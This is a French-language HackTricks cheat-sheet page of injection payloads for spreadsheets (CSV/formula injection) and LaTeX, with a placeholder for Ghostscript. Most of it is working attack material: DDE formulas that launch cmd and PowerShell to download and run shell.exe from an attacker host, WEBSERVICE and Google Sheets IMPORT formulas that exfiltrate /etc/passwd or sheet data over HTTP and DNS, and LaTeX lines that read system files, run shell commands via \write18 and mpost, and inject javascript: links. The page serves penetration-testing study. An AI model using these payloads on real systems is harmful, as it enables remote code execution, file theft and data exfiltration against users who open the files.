14 KiB
Injection de formules/CSV/Doc/LaTeX/GhostScript
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. Essayez-le gratuitement aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Injection de formules
Info
Si votre entrée est reflétée à l'intérieur de fichiers CSV (ou tout autre fichier qui sera probablement ouvert par Excel), vous pourriez être capable d'insérer des formules Excel qui seront exécutées lorsque l'utilisateur ouvre le fichier ou lorsqu'il clique sur un lien à l'intérieur de la feuille Excel.
{% hint style="danger" %} De nos jours, Excel alertera (à plusieurs reprises) l'utilisateur lorsqu'un élément est chargé depuis l'extérieur d'Excel afin de le prévenir d'une action malveillante. Par conséquent, un effort particulier en matière d'ingénierie sociale doit être appliqué au payload final. {% endhint %}
Liste de mots
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlien
L'exemple suivant est très utile pour exfiltrer le contenu de la feuille Excel finale et pour effectuer des requêtes vers des emplacements arbitraires. Cependant, il nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).
Exemple pris de https://payatu.com/csv-injection-basic-to-exploit
Supposons un scénario d'attaque du système de gestion des dossiers étudiants d'une école. L'application permet aux enseignants de saisir les détails des étudiants de l'école. L'attaquant obtient l'accès à l'application et souhaite que tous les enseignants utilisant l'application soient compromis. Ainsi, l'attaquant tente de réaliser une attaque par injection CSV via l'application web.
L'attaquant a besoin de voler les détails d'autres étudiants. Donc, il utilise la formule Hyperlien et la saisit lors de l'entrée des détails des étudiants.
Lorsque l'enseignant exporte le CSV et clique sur l'hyperlien, les données sensibles sont envoyées au serveur de l'attaquant.
Le fichier CSV exporté contient une charge utile malveillante.
Les détails de l'étudiant sont enregistrés sur le serveur web de l'attaquant.
RCE
Pour que cet exemple fonctionne, il est nécessaire d'activer la configuration suivante :
Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques
ou l'utilisation d'une version ancienne d'Excel.
La bonne nouvelle est que cette charge utile est exécutée automatiquement à l'ouverture du fichier (si l'utilisateur accepte les avertissements).
Il est possible d'exécuter une calculatrice avec la charge utile suivante =cmd|' /C calc'!xxx
Plus
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LFI
LibreOffice Calc
- Cela lira la 1ère ligne du fichier local /etc/passwd :
='file:///etc/passwd'#$passwd.A1
- Exfiltrer :
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
- Exfiltrer plus d'une ligne :
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Exfiltration DNS :
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))
Analyse de la charge utile d'exfiltration DNS :
- ‘file:///etc/passwd’#$passwd.A19 – Lira la 19ème ligne du fichier local /etc/passwd
- ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Encode l'URL des données retournées
- MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similaire à substring, lire les données du 1er caractère au 41ème – une manière très pratique de limiter la longueur des noms d'hôte DNS (limite de 254 caractères sur le FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
- SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – remplace toutes les instances de % (le caractère spécial de l'encodage URL) par un tiret – cela garantit que seuls les caractères DNS valides sont utilisés
- CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – Concatène la sortie du fichier (après le traitement ci-dessus) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
- WEBSERVICE – Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les logs (ou exécuter tcpdump, etc.) sur le serveur de noms DNS autoritaire pour lequel nous avons le contrôle
Exfiltration de données OOB Google Sheets
Introduisons d'abord certaines des fonctions les plus intéressantes.
CONCATENATE : Ajoute des chaînes les unes aux autres.
=CONCATENATE(A2:E2)
IMPORTXML : Importe des données de divers types de données structurées, y compris XML, HTML, CSV, TSV et des flux XML RSS et ATOM.
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED : Importe un flux RSS ou ATOM.
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML : Importe des données à partir d'une table ou d'une liste dans une page HTML.
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE : Importe une plage de cellules à partir d'une feuille de calcul spécifiée.
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE : Insère une image dans une cellule.
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
Injection LaTeX
Habituellement, les serveurs que vous trouverez sur Internet qui convertissent le code LaTeX en PDF utilisent pdflatex
.
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :
--no-shell-escape
: Désactive la construction\write18{command}
, même si elle est activée dans le fichier texmf.cnf.--shell-restricted
: Identique à--shell-escape
, mais limité à un ensemble 'sûr' de commandes prédéfinies (**Sur Ubuntu 16.04 la liste est dans/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Active la construction\write18{command}
. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter le RCE, il est très important d'utiliser --shell-restricted
.
Lire un fichier
Il se peut que vous deviez ajuster l'injection avec des enveloppes comme [ ou $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Lire un fichier à ligne unique
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Lire un fichier à lignes multiples
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Écrire un fichier
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Exécution de commande
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour la récupérer.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractères
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
De @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Injection Ghostscript
TODO : Créer un résumé avec les informations et techniques les plus pertinentes de https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Références
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. Essayez-le gratuitement aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.